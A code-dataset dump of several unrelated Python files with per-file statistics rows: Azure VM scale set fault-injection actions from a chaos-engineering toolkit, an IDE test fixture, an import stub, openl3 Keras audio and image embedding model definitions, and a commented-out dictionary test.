command_id, script_content = command.prepare(instance, 'burn_io')
parameters = {
'command_id': command_id,
'script': [script_content],
'parameters': [
{'name': "duration", 'value': duration}
]
}
logger.debug(
"Burning IO of VMSS instance: '{}'".format(instance['name']))
_timeout = duration + timeout
command.run(
scale_set['resourceGroup'], instance, _timeout, parameters,
secrets, configuration)
instances_records.add(cleanse.vmss_instance(instance))
scale_set['virtualMachines'] = instances_records.output()
vmss_records.add(cleanse.vmss(scale_set))
return vmss_records.output_as_dict('resources')
def fill_disk(filter: str = None,
duration: int = 120,
timeout: int = 60,
size: int = 1000,
path: str = None,
instance_criteria: Iterable[Mapping[str, any]] = None,
configuration: Configuration = None,
secrets: Secrets = None):
"""
Fill the VMSS machine disk with random data. Similar to
the fill_disk action of the machine.actions module.
"""
logger.debug(
"Starting fill_disk: configuration='{}', filter='{}',"
" duration='{}', size='{}', path='{}', timeout='{}'".format(
configuration, filter, duration, size, path, timeout))
vmss = fetch_vmss(filter, configuration, secrets)
vmss_records = Records()
for scale_set in vmss:
instances_records = Records()
instances = fetch_instances(scale_set, instance_criteria,
configuration, secrets)
for instance in instances:
command_id, script_content = command.prepare(instance,
'fill_disk')
fill_path = command.prepare_path(instance, path)
parameters = {
'command_id': command_id,
'script': [script_content],
'parameters': [
{'name': "duration", 'value': duration},
{'name': "size", 'value': size},
{'name': "path", 'value': fill_path}
]
}
logger.debug(
"Filling disk of VMSS instance: '{}'".format(
instance['name']))
_timeout = duration + timeout
command.run(
scale_set['resourceGroup'], instance, _timeout, parameters,
secrets, configuration)
instances_records.add(cleanse.vmss_instance(instance))
scale_set['virtualMachines'] = instances_records.output()
vmss_records.add(cleanse.vmss(scale_set))
return vmss_records.output_as_dict('resources')
def network_latency(filter: str = None,
duration: int = 60,
delay: int = 200,
jitter: int = 50,
timeout: int = 60,
instance_criteria: Iterable[Mapping[str, any]] = None,
configuration: Configuration = None,
secrets: Secrets = None):
"""
Increases the response time of the virtual machine. Similar to
the network_latency action of the machine.actions module.
"""
logger.debug(
"Starting network_latency: configuration='{}', filter='{}',"
" duration='{}', delay='{}', jitter='{}', timeout='{}'".format(
configuration, filter, duration, delay, jitter, timeout))
vmss = fetch_vmss(filter, configuration, secrets)
vmss_records = Records()
for scale_set in vmss:
instances_records = Records()
instances = fetch_instances(scale_set, instance_criteria,
configuration, secrets)
for instance in instances:
command_id, script_content = command.prepare(
instance, 'network_latency')
parameters = {
'command_id': command_id,
'script': [script_content],
'parameters': [
{'name': "duration", 'value': duration},
{'name': "delay", 'value': delay},
{'name': "jitter", 'value': jitter}
]
}
logger.debug(
"Increasing the latency of VMSS instance: '{}'".format(
instance['name']))
_timeout = duration + timeout
command.run(
scale_set['resourceGroup'], instance, _timeout, parameters,
secrets, configuration)
instances_records.add(cleanse.vmss_instance(instance))
scale_set['virtualMachines'] = instances_records.output()
vmss_records.add(cleanse.vmss(scale_set))
return vmss_records.output_as_dict('resources')
| 39.203196 | 79 | 0.600489 | 1,714 | 17,171 | 5.855309 | 0.124854 | 0.045436 | 0.030291 | 0.033479 | 0.754085 | 0.74711 | 0.713033 | 0.713033 | 0.709147 | 0.690315 | 0 | 0.004026 | 0.30569 | 17,171 | 437 | 80 | 39.292906 | 0.837779 | 0.205288 | 0 | 0.717857 | 0 | 0 | 0.133338 | 0.005741 | 0 | 0 | 0 | 0 | 0 | 1 | 0.032143 | false | 0 | 0.028571 | 0 | 0.092857 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
adb3678b9743e6f37eb71a8b7d1ffb7c03bef60e | 111 | py | Python | python/testData/multipleArgumentsCompletion/slashAndSingleStarParameter.after.py | 06needhamt/intellij-community | 63d7b8030e4fdefeb4760e511e289f7e6b3a5c5b | [
"Apache-2.0"
] | null | null | null | python/testData/multipleArgumentsCompletion/slashAndSingleStarParameter.after.py | 06needhamt/intellij-community | 63d7b8030e4fdefeb4760e511e289f7e6b3a5c5b | [
"Apache-2.0"
] | null | null | null | python/testData/multipleArgumentsCompletion/slashAndSingleStarParameter.after.py | 06needhamt/intellij-community | 63d7b8030e4fdefeb4760e511e289f7e6b3a5c5b | [
"Apache-2.0"
] | null | null | null | def foo(a, /, b, *, c):
print(a, b, c)
def egg():
a = 1
b = 2
c = 3
foo(a, b, c=c)<caret> | 12.333333 | 25 | 0.369369 | 23 | 111 | 1.782609 | 0.478261 | 0.146341 | 0.219512 | 0.292683 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.044776 | 0.396396 | 111 | 9 | 25 | 12.333333 | 0.567164 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.142857 | 1 | 0 | 1 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
add698633fee311bc61e52df21ecee850389418e | 45 | py | Python | apps/utils/__init__.py | crisariasgg/RepinSolution | 27e9b04ccc887b4300d77dda8657e761f9523123 | [
"MIT"
] | null | null | null | apps/utils/__init__.py | crisariasgg/RepinSolution | 27e9b04ccc887b4300d77dda8657e761f9523123 | [
"MIT"
] | null | null | null | apps/utils/__init__.py | crisariasgg/RepinSolution | 27e9b04ccc887b4300d77dda8657e761f9523123 | [
"MIT"
] | 1 | 2021-12-09T21:27:35.000Z | 2021-12-09T21:27:35.000Z | from .shopify_upload_product_utility import * | 45 | 45 | 0.888889 | 6 | 45 | 6.166667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.066667 | 45 | 1 | 45 | 45 | 0.880952 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
bc07c2ed6f9406dbf21fcdfb091574d77c7aabde | 23,945 | py | Python | openl3/models.py | lclichen/openl3 | 07ac537ff0ed2bac4c09fa1f5a7371e2b9299cba | [
"MIT"
] | 279 | 2018-11-14T21:37:16.000Z | 2022-03-25T09:18:32.000Z | openl3/models.py | lclichen/openl3 | 07ac537ff0ed2bac4c09fa1f5a7371e2b9299cba | [
"MIT"
] | 76 | 2018-10-31T18:13:11.000Z | 2022-02-09T22:44:41.000Z | openl3/models.py | lclichen/openl3 | 07ac537ff0ed2bac4c09fa1f5a7371e2b9299cba | [
"MIT"
] | 45 | 2018-11-14T21:44:21.000Z | 2022-03-29T09:38:30.000Z | import os
import warnings
import sklearn.decomposition
import numpy as np
from .openl3_exceptions import OpenL3Error
with warnings.catch_warnings():
# Suppress TF and Keras warnings when importing
warnings.simplefilter("ignore")
import tensorflow as tf
import tensorflow.keras.backend as K
from tensorflow.keras import Model
from tensorflow.keras.layers import (
Input, Conv2D, Permute, BatchNormalization, MaxPooling2D,
Flatten, Activation, Lambda)
import tensorflow.keras.regularizers as regularizers
VALID_FRONTENDS = ("librosa", "kapre")
VALID_INPUT_REPRS = ("linear", "mel128", "mel256")
VALID_CONTENT_TYPES = ("music", "env")
VALID_AUDIO_EMBEDDING_SIZES = (6144, 512)
VALID_IMAGE_EMBEDDING_SIZES = (8192, 512)
def _log10(x):
'''log10 tensorflow function.'''
return tf.math.log(x) / tf.math.log(tf.constant(10, dtype=x.dtype))
def kapre_v0_1_4_magnitude_to_decibel(x, ref_value=1.0, amin=1e-10, dynamic_range=80.0):
'''log10 tensorflow function.'''
amin = tf.cast(amin or 1e-10, dtype=x.dtype)
max_axis = tuple(range(K.ndim(x))[1:]) or None
log_spec = 10. * _log10(K.maximum(x, amin))
return K.maximum(
log_spec - K.max(log_spec, axis=max_axis, keepdims=True),
-dynamic_range)
def __fix_kapre_spec(func):
'''Wraps the kapre composite layer interface to revert .'''
def get_spectrogram(*a, return_decibel=False, **kw):
seq = func(*a, return_decibel=False, **kw)
if return_decibel:
seq.add(Lambda(kapre_v0_1_4_magnitude_to_decibel))
seq.add(Permute((2, 1, 3))) # the output is (None, t, f, ch) instead of (None, f, t, ch), so gotta fix that
return seq
return get_spectrogram
def _validate_audio_frontend(frontend='kapre', input_repr=None, model=None):
'''Make sure that the audio frontend matches the model and input_repr.'''
ndims = len(model.input_shape) if model is not None else None
# if frontend == 'infer': # detect which frontend to use
# if model is None: # default
# frontend = 'kapre'
# elif ndims == 3: # shape: [batch, channel, samples]
# frontend = 'kapre'
# elif ndims == 4: # shape: [batch, frequency, time, channel]
# frontend = 'librosa'
# else:
# raise OpenL3Error(
# 'Invalid model input shape: {}. Expected a model '
# 'with either a 3 or 4 dimensional input, got {}.'.format(model.input_shape, ndims))
if frontend not in VALID_FRONTENDS:
raise OpenL3Error('Invalid frontend "{}". Must be one of {}'.format(frontend, VALID_FRONTENDS))
# validate that our model shape matches our frontend.
if ndims is not None:
if frontend == 'kapre' and ndims != 3:
raise OpenL3Error('Invalid model input shape: {}. Expected 3 dims got {}.'.format(model.input_shape, ndims))
if frontend == 'librosa' and ndims != 4:
raise OpenL3Error('Invalid model input shape: {}. Expected 4 dims got {}.'.format(model.input_shape, ndims))
if input_repr is None:
if frontend == 'librosa':
raise OpenL3Error('You must specify input_repr for a librosa frontend.')
else:
input_repr = 'mel256'
if str(input_repr) not in VALID_INPUT_REPRS:
raise OpenL3Error('Invalid input representation "{}". Must be one of {}'.format(input_repr, VALID_INPUT_REPRS))
return frontend, input_repr
AUDIO_POOLING_SIZES = {
'linear': {
6144: (8, 8),
512: (32, 24),
},
'mel128': {
6144: (4, 8),
512: (16, 24),
},
'mel256': {
6144: (8, 8),
512: (32, 24),
}
}
IMAGE_POOLING_SIZES = {
8192: (7, 7),
512: (28, 28),
}
def load_audio_embedding_model(input_repr, content_type, embedding_size, frontend='kapre'):
"""
Returns a model with the given characteristics. Loads the model
if the model has not been loaded yet.
Parameters
----------
input_repr : "linear", "mel128", or "mel256"
Spectrogram representation used for audio model.
content_type : "music" or "env"
Type of content used to train embedding.
embedding_size : 6144 or 512
Embedding dimensionality.
frontend : "kapre" or "librosa"
The audio frontend to use. If frontend == 'kapre', then the kapre frontend will
be included. Otherwise no frontend will be added inside the keras model.
Returns
-------
model : tf.keras.Model
Model object.
"""
model_path = get_audio_embedding_model_path(input_repr, content_type)
return load_audio_embedding_model_from_path(model_path, input_repr, embedding_size, frontend=frontend)
def load_audio_embedding_model_from_path(model_path, input_repr, embedding_size, frontend='kapre'):
"""
Loads a model with weights at the given path.
Parameters
----------
model_path : str
Path to model weights HDF5 (.h5) file. Must be in format
`*._<input_repr>_<content_type>.h5` or
`*._<input_repr>_<content_type>-.*.h5`, since model configuration
will be determined from the filename.
input_repr : "linear", "mel128", or "mel256"
Spectrogram representation used for audio model.
embedding_size : 6144 or 512
Embedding dimensionality.
frontend : "kapre" or "librosa"
The audio frontend to use. If frontend == 'kapre', then the kapre frontend will
be included. Otherwise no frontend will be added inside the keras model.
Returns
-------
model : tf.keras.Model
Model object.
"""
frontend, input_repr = _validate_audio_frontend(frontend, input_repr)
# Construct embedding model and load model weights
with warnings.catch_warnings():
warnings.simplefilter("ignore")
m = AUDIO_MODELS[input_repr](include_frontend=frontend == 'kapre')
m.load_weights(model_path)
# Pooling for final output embedding size
pool_size = AUDIO_POOLING_SIZES[input_repr][embedding_size]
y_a = MaxPooling2D(pool_size=pool_size, padding='same')(m.output)
y_a = Flatten()(y_a)
m = Model(inputs=m.input, outputs=y_a)
m.frontend = frontend
return m
def get_audio_embedding_model_path(input_repr, content_type):
"""
Returns the local path to the model weights file for the model
with the given characteristics
Parameters
----------
input_repr : "linear", "mel128", or "mel256"
Spectrogram representation used for model.
content_type : "music" or "env"
Type of content used to train embedding.
Returns
-------
output_path : str
Path to given model object
"""
return os.path.join(os.path.dirname(__file__),
'openl3_audio_{}_{}.h5'.format(input_repr, content_type))
def load_image_embedding_model(input_repr, content_type, embedding_size):
"""
Returns a model with the given characteristics. Loads the model
if the model has not been loaded yet.
Parameters
----------
input_repr : "linear", "mel128", or "mel256"
Spectrogram representation used for audio model.
content_type : "music" or "env"
Type of content used to train embedding.
embedding_size : 8192 or 512
Embedding dimensionality.
Returns
-------
model : tf.keras.Model
Model object.
"""
model_path = get_image_embedding_model_path(input_repr, content_type)
return load_image_embedding_model_from_path(model_path, embedding_size)
def load_image_embedding_model_from_path(model_path, embedding_size):
"""
Loads a model with weights at the given path.
Parameters
----------
model_path : str
Path to model weights HDF5 (.h5) file.
embedding_size : 6144 or 512
Embedding dimensionality.
input_repr : "linear", "mel128", or "mel256"
Spectrogram representation used for audio model.
content_type : "music" or "env"
Type of content used to train embedding.
embedding_size : 8192 or 512
Embedding dimensionality.
Returns
-------
model : tf.keras.Model
Model object.
"""
# Construct embedding model and load model weights
with warnings.catch_warnings():
warnings.simplefilter("ignore")
m = _construct_image_network()
m.load_weights(model_path)
# Pooling for final output embedding size
pool_size = IMAGE_POOLING_SIZES[embedding_size]
y_i = MaxPooling2D(pool_size=pool_size, padding='same')(m.output)
y_i = Flatten()(y_i)
m = Model(inputs=m.input, outputs=y_i)
return m
def get_image_embedding_model_path(input_repr, content_type):
"""
Returns the local path to the model weights file for the model
with the given characteristics
Parameters
----------
input_repr : "linear", "mel128", or "mel256"
Spectrogram representation used for model.
content_type : "music" or "env"
Type of content used to train embedding.
Returns
-------
output_path : str
Path to given model object
"""
return os.path.join(os.path.dirname(__file__),
'openl3_image_{}_{}.h5'.format(input_repr, content_type))
def _construct_linear_audio_network(include_frontend=True):
"""
Returns an uninitialized model object for an audio network with a linear
spectrogram input (With 257 frequency bins)
Returns
-------
model : tf.keras.Model
Model object.
"""
weight_decay = 1e-5
n_dft = 512
n_hop = 242
asr = 48000
audio_window_dur = 1
if include_frontend:
# INPUT
input_shape = (1, asr * audio_window_dur)
x_a = Input(shape=input_shape, dtype='float32')
# SPECTROGRAM PREPROCESSING
# 257 x 197 x 1
from kapre.composed import get_stft_magnitude_layer
spec = __fix_kapre_spec(get_stft_magnitude_layer)(
input_shape=input_shape,
n_fft=n_dft, hop_length=n_hop, return_decibel=True,
input_data_format='channels_first',
output_data_format='channels_last')
y_a = spec(x_a)
else: # NOTE: asr - n_dft because we're not padding (I think?)
input_shape = (n_dft // 2 + 1, int(np.ceil((asr - n_dft) * audio_window_dur / n_hop)), 1)
x_a = y_a = Input(shape=input_shape, dtype='float32')
y_a = BatchNormalization()(y_a)
# CONV BLOCK 1
n_filter_a_1 = 64
filt_size_a_1 = (3, 3)
pool_size_a_1 = (2, 2)
y_a = Conv2D(n_filter_a_1, filt_size_a_1, padding='same',
kernel_initializer='he_normal',
kernel_regularizer=regularizers.l2(weight_decay))(y_a)
y_a = BatchNormalization()(y_a)
y_a = Activation('relu')(y_a)
y_a = Conv2D(n_filter_a_1, filt_size_a_1, padding='same',
kernel_initializer='he_normal',
kernel_regularizer=regularizers.l2(weight_decay))(y_a)
y_a = BatchNormalization()(y_a)
y_a = Activation('relu')(y_a)
y_a = MaxPooling2D(pool_size=pool_size_a_1, strides=2)(y_a)
# CONV BLOCK 2
n_filter_a_2 = 128
filt_size_a_2 = (3, 3)
pool_size_a_2 = (2, 2)
y_a = Conv2D(n_filter_a_2, filt_size_a_2, padding='same',
kernel_initializer='he_normal',
kernel_regularizer=regularizers.l2(weight_decay))(y_a)
y_a = BatchNormalization()(y_a)
y_a = Activation('relu')(y_a)
y_a = Conv2D(n_filter_a_2, filt_size_a_2, padding='same',
kernel_initializer='he_normal',
kernel_regularizer=regularizers.l2(weight_decay))(y_a)
y_a = BatchNormalization()(y_a)
y_a = Activation('relu')(y_a)
y_a = MaxPooling2D(pool_size=pool_size_a_2, strides=2)(y_a)
# CONV BLOCK 3
n_filter_a_3 = 256
filt_size_a_3 = (3, 3)
pool_size_a_3 = (2, 2)
y_a = Conv2D(n_filter_a_3, filt_size_a_3, padding='same',
kernel_initializer='he_normal',
kernel_regularizer=regularizers.l2(weight_decay))(y_a)
y_a = BatchNormalization()(y_a)
y_a = Activation('relu')(y_a)
y_a = Conv2D(n_filter_a_3, filt_size_a_3, padding='same',
kernel_initializer='he_normal',
kernel_regularizer=regularizers.l2(weight_decay))(y_a)
y_a = BatchNormalization()(y_a)
y_a = Activation('relu')(y_a)
y_a = MaxPooling2D(pool_size=pool_size_a_3, strides=2)(y_a)
# CONV BLOCK 4
n_filter_a_4 = 512
filt_size_a_4 = (3, 3)
y_a = Conv2D(n_filter_a_4, filt_size_a_4, padding='same',
kernel_initializer='he_normal',
kernel_regularizer=regularizers.l2(weight_decay))(y_a)
y_a = BatchNormalization()(y_a)
y_a = Activation('relu')(y_a)
y_a = Conv2D(n_filter_a_4, filt_size_a_4,
kernel_initializer='he_normal',
name='audio_embedding_layer', padding='same',
kernel_regularizer=regularizers.l2(weight_decay))(y_a)
m = Model(inputs=x_a, outputs=y_a)
return m
def _construct_mel128_audio_network(include_frontend=True):
"""
Returns an uninitialized model object for an audio network with a Mel
spectrogram input (with 128 frequency bins).
Returns
-------
model : tf.keras.Model
Model object.
"""
weight_decay = 1e-5
n_dft = 2048
n_mels = 128
n_hop = 242
asr = 48000
audio_window_dur = 1
if include_frontend:
# INPUT
input_shape = (1, asr * audio_window_dur)
x_a = Input(shape=input_shape, dtype='float32')
# MELSPECTROGRAM PREPROCESSING
# 128 x 199 x 1
from kapre.composed import get_melspectrogram_layer
spec = __fix_kapre_spec(get_melspectrogram_layer)(
input_shape=input_shape,
n_fft=n_dft, hop_length=n_hop, n_mels=n_mels,
sample_rate=asr, return_decibel=True, pad_end=True,
input_data_format='channels_first',
output_data_format='channels_last')
y_a = spec(x_a)
else:
input_shape = (n_mels, int(np.ceil(asr * audio_window_dur / n_hop)), 1)
x_a = y_a = Input(shape=input_shape, dtype='float32')
y_a = BatchNormalization()(y_a)
# CONV BLOCK 1
n_filter_a_1 = 64
filt_size_a_1 = (3, 3)
pool_size_a_1 = (2, 2)
y_a = Conv2D(n_filter_a_1, filt_size_a_1, padding='same',
kernel_initializer='he_normal',
kernel_regularizer=regularizers.l2(weight_decay))(y_a)
y_a = BatchNormalization()(y_a)
y_a = Activation('relu')(y_a)
y_a = Conv2D(n_filter_a_1, filt_size_a_1, padding='same',
kernel_initializer='he_normal',
kernel_regularizer=regularizers.l2(weight_decay))(y_a)
y_a = BatchNormalization()(y_a)
y_a = Activation('relu')(y_a)
y_a = MaxPooling2D(pool_size=pool_size_a_1, strides=2)(y_a)
# CONV BLOCK 2
n_filter_a_2 = 128
filt_size_a_2 = (3, 3)
pool_size_a_2 = (2, 2)
y_a = Conv2D(n_filter_a_2, filt_size_a_2, padding='same',
kernel_initializer='he_normal',
kernel_regularizer=regularizers.l2(weight_decay))(y_a)
y_a = BatchNormalization()(y_a)
y_a = Activation('relu')(y_a)
y_a = Conv2D(n_filter_a_2, filt_size_a_2, padding='same',
kernel_initializer='he_normal',
kernel_regularizer=regularizers.l2(weight_decay))(y_a)
y_a = BatchNormalization()(y_a)
y_a = Activation('relu')(y_a)
y_a = MaxPooling2D(pool_size=pool_size_a_2, strides=2)(y_a)
# CONV BLOCK 3
n_filter_a_3 = 256
filt_size_a_3 = (3, 3)
pool_size_a_3 = (2, 2)
y_a = Conv2D(n_filter_a_3, filt_size_a_3, padding='same',
kernel_initializer='he_normal',
kernel_regularizer=regularizers.l2(weight_decay))(y_a)
y_a = BatchNormalization()(y_a)
y_a = Activation('relu')(y_a)
y_a = Conv2D(n_filter_a_3, filt_size_a_3, padding='same',
kernel_initializer='he_normal',
kernel_regularizer=regularizers.l2(weight_decay))(y_a)
y_a = BatchNormalization()(y_a)
y_a = Activation('relu')(y_a)
y_a = MaxPooling2D(pool_size=pool_size_a_3, strides=2)(y_a)
# CONV BLOCK 4
n_filter_a_4 = 512
filt_size_a_4 = (3, 3)
pool_size_a_4 = (16, 24)
y_a = Conv2D(n_filter_a_4, filt_size_a_4, padding='same',
kernel_initializer='he_normal',
kernel_regularizer=regularizers.l2(weight_decay))(y_a)
y_a = BatchNormalization()(y_a)
y_a = Activation('relu')(y_a)
y_a = Conv2D(n_filter_a_4, filt_size_a_4,
kernel_initializer='he_normal',
name='audio_embedding_layer', padding='same',
kernel_regularizer=regularizers.l2(weight_decay))(y_a)
m = Model(inputs=x_a, outputs=y_a)
return m
def _construct_mel256_audio_network(include_frontend=True):
"""
Returns an uninitialized model object for an audio network with a Mel
spectrogram input (with 256 frequency bins).
Returns
-------
model : tf.keras.Model
Model object.
"""
weight_decay = 1e-5
n_dft = 2048
n_mels = 256
n_hop = 242
asr = 48000
audio_window_dur = 1
if include_frontend:
# INPUT
input_shape = (1, asr * audio_window_dur)
x_a = Input(shape=input_shape, dtype='float32')
# MELSPECTROGRAM PREPROCESSING
# 256 x 199 x 1
from kapre.composed import get_melspectrogram_layer
spec = __fix_kapre_spec(get_melspectrogram_layer)(
input_shape=input_shape,
n_fft=n_dft, hop_length=n_hop, n_mels=n_mels,
sample_rate=asr, return_decibel=True, pad_end=True,
input_data_format='channels_first',
output_data_format='channels_last')
y_a = spec(x_a)
else:
input_shape = (n_mels, int(np.ceil(asr * audio_window_dur / n_hop)), 1)
x_a = y_a = Input(shape=input_shape, dtype='float32')
y_a = BatchNormalization()(y_a)
# CONV BLOCK 1
n_filter_a_1 = 64
filt_size_a_1 = (3, 3)
pool_size_a_1 = (2, 2)
y_a = Conv2D(n_filter_a_1, filt_size_a_1, padding='same',
kernel_initializer='he_normal',
kernel_regularizer=regularizers.l2(weight_decay))(y_a)
y_a = BatchNormalization()(y_a)
y_a = Activation('relu')(y_a)
y_a = Conv2D(n_filter_a_1, filt_size_a_1, padding='same',
kernel_initializer='he_normal',
kernel_regularizer=regularizers.l2(weight_decay))(y_a)
y_a = BatchNormalization()(y_a)
y_a = Activation('relu')(y_a)
y_a = MaxPooling2D(pool_size=pool_size_a_1, strides=2)(y_a)
# CONV BLOCK 2
n_filter_a_2 = 128
filt_size_a_2 = (3, 3)
pool_size_a_2 = (2, 2)
y_a = Conv2D(n_filter_a_2, filt_size_a_2, padding='same',
kernel_initializer='he_normal',
kernel_regularizer=regularizers.l2(weight_decay))(y_a)
y_a = BatchNormalization()(y_a)
y_a = Activation('relu')(y_a)
y_a = Conv2D(n_filter_a_2, filt_size_a_2, padding='same',
kernel_initializer='he_normal',
kernel_regularizer=regularizers.l2(weight_decay))(y_a)
y_a = BatchNormalization()(y_a)
y_a = Activation('relu')(y_a)
y_a = MaxPooling2D(pool_size=pool_size_a_2, strides=2)(y_a)
# CONV BLOCK 3
n_filter_a_3 = 256
filt_size_a_3 = (3, 3)
pool_size_a_3 = (2, 2)
y_a = Conv2D(n_filter_a_3, filt_size_a_3, padding='same',
kernel_initializer='he_normal',
kernel_regularizer=regularizers.l2(weight_decay))(y_a)
y_a = BatchNormalization()(y_a)
y_a = Activation('relu')(y_a)
y_a = Conv2D(n_filter_a_3, filt_size_a_3, padding='same',
kernel_initializer='he_normal',
kernel_regularizer=regularizers.l2(weight_decay))(y_a)
y_a = BatchNormalization()(y_a)
y_a = Activation('relu')(y_a)
y_a = MaxPooling2D(pool_size=pool_size_a_3, strides=2)(y_a)
# CONV BLOCK 4
n_filter_a_4 = 512
filt_size_a_4 = (3, 3)
y_a = Conv2D(n_filter_a_4, filt_size_a_4, padding='same',
kernel_initializer='he_normal',
kernel_regularizer=regularizers.l2(weight_decay))(y_a)
y_a = BatchNormalization()(y_a)
y_a = Activation('relu')(y_a)
y_a = Conv2D(n_filter_a_4, filt_size_a_4,
kernel_initializer='he_normal',
name='audio_embedding_layer', padding='same',
kernel_regularizer=regularizers.l2(weight_decay))(y_a)
m = Model(inputs=x_a, outputs=y_a)
return m
def _construct_image_network():
"""
Returns an uninitialized model object for a image network.
Returns
-------
model : tf.keras.Model
Model object.
"""
weight_decay = 1e-5
im_height = 224
im_width = 224
num_channels = 3
x_i = Input(shape=(im_height, im_width, num_channels), dtype='float32')
y_i = BatchNormalization()(x_i)
# CONV BLOCK 1
n_filter_i_1 = 64
filt_size_i_1 = (3, 3)
pool_size_i_1 = (2, 2)
y_i = Conv2D(n_filter_i_1, filt_size_i_1, padding='same',
kernel_initializer='he_normal',
kernel_regularizer=regularizers.l2(weight_decay))(y_i)
y_i = BatchNormalization()(y_i)
y_i = Activation('relu')(y_i)
y_i = Conv2D(n_filter_i_1, filt_size_i_1, padding='same',
kernel_initializer='he_normal',
kernel_regularizer=regularizers.l2(weight_decay))(y_i)
y_i = Activation('relu')(y_i)
y_i = BatchNormalization()(y_i)
y_i = MaxPooling2D(pool_size=pool_size_i_1, strides=2, padding='same')(y_i)
# CONV BLOCK 2
n_filter_i_2 = 128
filt_size_i_2 = (3, 3)
pool_size_i_2 = (2, 2)
y_i = Conv2D(n_filter_i_2, filt_size_i_2, padding='same',
kernel_initializer='he_normal',
kernel_regularizer=regularizers.l2(weight_decay))(y_i)
y_i = BatchNormalization()(y_i)
y_i = Activation('relu')(y_i)
y_i = Conv2D(n_filter_i_2, filt_size_i_2, padding='same',
kernel_initializer='he_normal',
kernel_regularizer=regularizers.l2(weight_decay))(y_i)
y_i = BatchNormalization()(y_i)
y_i = Activation('relu')(y_i)
y_i = MaxPooling2D(pool_size=pool_size_i_2, strides=2, padding='same')(y_i)
# CONV BLOCK 3
n_filter_i_3 = 256
filt_size_i_3 = (3, 3)
pool_size_i_3 = (2, 2)
y_i = Conv2D(n_filter_i_3, filt_size_i_3, padding='same',
kernel_initializer='he_normal',
kernel_regularizer=regularizers.l2(weight_decay))(y_i)
y_i = BatchNormalization()(y_i)
y_i = Activation('relu')(y_i)
y_i = Conv2D(n_filter_i_3, filt_size_i_3, padding='same',
kernel_initializer='he_normal',
kernel_regularizer=regularizers.l2(weight_decay))(y_i)
y_i = BatchNormalization()(y_i)
y_i = Activation('relu')(y_i)
y_i = MaxPooling2D(pool_size=pool_size_i_3, strides=2, padding='same')(y_i)
# CONV BLOCK 4
n_filter_i_4 = 512
filt_size_i_4 = (3, 3)
pool_size_i_4 = (28, 28)
y_i = Conv2D(n_filter_i_4, filt_size_i_4, padding='same',
kernel_initializer='he_normal',
kernel_regularizer=regularizers.l2(weight_decay))(y_i)
y_i = BatchNormalization()(y_i)
y_i = Activation('relu')(y_i)
y_i = Conv2D(n_filter_i_4, filt_size_i_4,
name='vision_embedding_layer', padding='same',
kernel_initializer='he_normal',
kernel_regularizer=regularizers.l2(weight_decay))(y_i)
m = Model(inputs=x_i, outputs=y_i)
return m
AUDIO_MODELS = {
'linear': _construct_linear_audio_network,
'mel128': _construct_mel128_audio_network,
'mel256': _construct_mel256_audio_network
}
| 34.85444 | 120 | 0.645521 | 3,386 | 23,945 | 4.231246 | 0.082103 | 0.023592 | 0.01382 | 0.017589 | 0.803937 | 0.782648 | 0.776645 | 0.749913 | 0.728485 | 0.719271 | 0 | 0.037571 | 0.246356 | 23,945 | 686 | 121 | 34.905248 | 0.756345 | 0.208102 | 0 | 0.679901 | 0 | 0 | 0.065092 | 0.006929 | 0 | 0 | 0 | 0 | 0 | 1 | 0.037221 | false | 0 | 0.032258 | 0 | 0.1067 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
bc2d836e72de07e5028a1c83f17bd7847af4f7ff | 393 | py | Python | python_scripts/test.py | claraqin/CoursePath | 715346441e9675fd181ba45aa3ac926e88b0be02 | [
"MIT"
] | 1 | 2019-12-18T18:57:52.000Z | 2019-12-18T18:57:52.000Z | python_scripts/test.py | claraqin/CoursePath | 715346441e9675fd181ba45aa3ac926e88b0be02 | [
"MIT"
] | null | null | null | python_scripts/test.py | claraqin/CoursePath | 715346441e9675fd181ba45aa3ac926e88b0be02 | [
"MIT"
] | null | null | null | #test.py
# d = {}
# d['And'] = None
# print('And' in d)
# print(d['And'])
# if 'And' in d and d['And']:
# print('"And" in d and d["And"] is True')
# else:
# print('"And" in d and d["And"] is False')
# if 'And' in d:
# print('"And" in d is True')
# else:
# print('"And" in d is False')
# e = {}
# print('And' in e)
# e['And'] = None
# print('And' in e)
# print(e['And'])
